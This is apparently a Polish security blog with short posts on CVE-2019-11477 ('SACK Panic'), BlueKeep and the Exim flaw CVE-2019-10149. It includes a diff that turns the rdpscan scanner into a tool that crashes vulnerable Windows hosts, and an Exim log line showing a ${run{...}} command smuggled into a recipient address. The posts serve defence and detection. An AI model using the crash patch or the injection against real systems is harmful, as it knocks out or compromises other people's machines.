Bez paniki o "SACK Panic" - analiza CVE-2019-11477

  Niedawno zostało odkryte kilka problemów w Linuksowej obsłudze protokołu TCP. Najpoważniejszy problem o sygnaturze CVE-2019-11477 umożliwia zdalne zawieszenie systemu Linux i został ochrzczony mianem "SACK Panic". Zanim przystąpicie do dalszej lektury, warto odrobić pracę domową i najpierw przeczytać opis samej podatności, po Angielsku tu i tu, po Polsku tutaj, czy zobaczyć patch na jądro.

Wszystkie większe serwisy podchwyciły ten temat informując o poważnej luce. Z jednej strony bardzo dobrze, ale to czego w dalszym ciągu brakuje to rzeczywistej analizy podatności, stopnia trudności i warunkach w jakich jest możliwa do wykorzystania. Tego typu informacje umożliwią nam identyfikację najbardziej zagrożonych maszyn w naszej infrastrukturze. Zainteresowany? Więc zapraszam do lektury.

Bluekeep - Dziura w RDP

  W dużym skrócie Bluekeep to dziura pozwalająca na zdalne wykonanie kodu, poprzez usługę zdalnego dostępu (RDP). Została pokrótce opisana na stronach Microsoft, a jak ktoś jest zainteresowany szczegółami technicznymi to najlepiej przeczytać ten wpis.

  To co chcę dodać od siębie w tym temacie, to prosta łatka która z narzędzia rdpscan badającego czy nasz system jest podatny, zrobi narzędzie masowej zagłady wykładające podatne systemy z słynnym BlueScreen.

  Czy rozsiadam się właśnie z miską popcornu by patrzeć jak świat płonie? Nie koniecznie, nie ma lepszego sposobu na zweryfikowanie czy jesteśmy podatni, jak uderzenie bezpośrednio w lukę.

diff --git a/src/mst120.c b/src/mst120.c
index 26b1309..b9049c9 100644
--- a/src/mst120.c
+++ b/src/mst120.c
@@ -91,7 +91,7 @@ mst120_check(int is_send)
     if (is_send)
     {
         ++g_check_count;
-        mst120_send_check_packet(0x20, 8);
-        mst120_send_check_packet(0x10, 4);
+        mst120_send_check_packet(0x22, 8);
+        mst120_send_check_packet(0x12, 4);
     }
 }

Update (2019.10.05): Pojawił się exploit wykorzystujący podatność

(ENG) Emacs through sendmail - exploiting CVE-2019-10149

Tekst wyjątkowo jest w języku angielskim

  Before you start reading, please read article on lwn, if you have not already done so. The 24-hour mark described within the article passed long time ago, and still no further details were published. As stated, vulnerability is trivially exploitable, but discovering it in actual code, not necessary. I believe that because of it's simplicity, actual exploit is in active use, and indicators of compromise are unknown for system administrators. This leads to situation where after patching your services, you don't know whatever your systems have been compromised or not. These are reasons why I decided to post some further details about this vulnerability.

  As it appears from the published information, to trigger bug we need to set process_recipients variable to some other value than RECIP_ACCEPT. It can be done earlier in the deliver_message() function by following code:

5716 else if (received_count > received_headers_max)
5717   process_recipients = RECIP_FAIL_LOOP;

So it's only matter of sending excess amount of Received headers.

# exim -bP received_headers_max
received_headers_max = 30

Bringing it all together, the successful attack leaves traces that looks similar to those below, from my exim's mainlog:

1hbNcz-0001gv-Cm <= adrb@localhost H=localhost [::1] P=esmtp S=1732
1hbNcz-0001gv-Cm ** ${run{\x2fbin\x2ftouch\x20\x2ftmp\x2ftest}}@localhost: Too many "Received" headers - suspected mail loop
1hbNdK-0001l5-89 <= <> R=1hbNcz-0001gv-Cm U=Debian-exim P=local S=2969
1hbNcz-0001gv-Cm Completed
1hbNdK-0001l5-89 => adrb R=local_user T=mail_spool 
1hbNdK-0001l5-89 Completed

Update: You can read about that vulnerability in full details here

All your sixty four are belong to Embler

Dzięki Zaufanej Trzeciej Stronie skorzystałem z okazji by po raz pierwszy sprawdzić się w zadaniu CTF o nazwie "All your sixty four are belong to Embler". Udało się zaliczyć test!

Tutaj jest opis zadania wraz z rozwiązaniem.